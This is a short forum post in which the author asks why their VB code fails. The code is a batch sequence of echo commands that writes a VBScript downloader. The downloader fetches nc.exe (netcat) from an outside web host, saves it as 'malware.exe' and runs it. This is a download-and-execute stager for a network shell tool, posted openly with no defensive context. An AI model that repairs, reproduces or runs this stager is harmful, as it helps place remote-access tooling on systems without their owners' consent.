My code in VB is not working ,although i think i wrote everthin correctly........ What's the problem ???? can anyone help??? ----------------------------------------------------------------------------------------------- echo Dim DataBin >hacksafe.vbs echo Dim HTTPGET >>hacksafe.vbs echo Set HTTPGET = CreateObject("Microsoft.XMLHTTP") >>hacksafe.vbs echo HTTPGET.Open "GET", "http://www.hacksafe.com.au/nc.exe", False>>hacksafe.vbs echo HTTPGET.Send >>hacksafe.vbs echo DataBin = HTTPGET.ResponseBody >>hacksafe.vbs echo Const adTypeBinary=1 >>hacksafe.vbs echo Const adSaveCreateOverWrite=2 >>hacksafe.vbs echo Dim test1 >>hacksafe.vbs echo Set test1 = CreateObject("ADODB.Stream") >>hacksafe.vbs echo test1.Type = adTypeBinary >>hacksafe.vbs echo test1.Open >>hacksafe.vbs echo test1.Write DataBin >>hacksafe.vbs echo test1.SaveToFile "malware.exe", adSaveCreateOverWrite >>hacksafe.vbs hacksafe.vbs malware.exe -h -----------------------------------------------------------------------------------------------
